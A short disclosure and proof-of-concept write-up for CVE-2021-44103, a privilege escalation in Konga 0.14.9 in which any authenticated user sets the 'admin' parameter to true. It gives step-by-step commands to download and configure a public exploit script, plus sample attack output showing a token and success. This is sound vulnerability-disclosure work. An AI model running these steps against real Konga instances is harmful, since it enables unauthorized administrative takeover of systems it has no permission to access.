CVE-2021-44103
A proof of concept for KONGA 0.14.9 - Privilege Escalation.
Intro
On November 16, 2021, Fabrício Salomão and I found a vulnerability in Konga API Gateways, allowing any authenticated user to become an administrator.
Report Vulnerability
Product: KONGA
Model: 0.14.9
Vulnerability: Privilege Escalation
Impact: Full admin access (vertical privilege escalation)
Authentication: required
Exploit Author: Fabricio Salomao / Paulo Trindade
PoC
Bellow has created a normal user called "usernormal" without privilege.
Through of request bellow was changed the flag "FALSE" in the parameter "admin" to "TRUE".
Therefore was created an exploit for us : https://www.exploit-db.com/exploits/50521
After running the exploit, the privilege escalation was a success!
Result:
Running the exploit
wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
LINKS
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821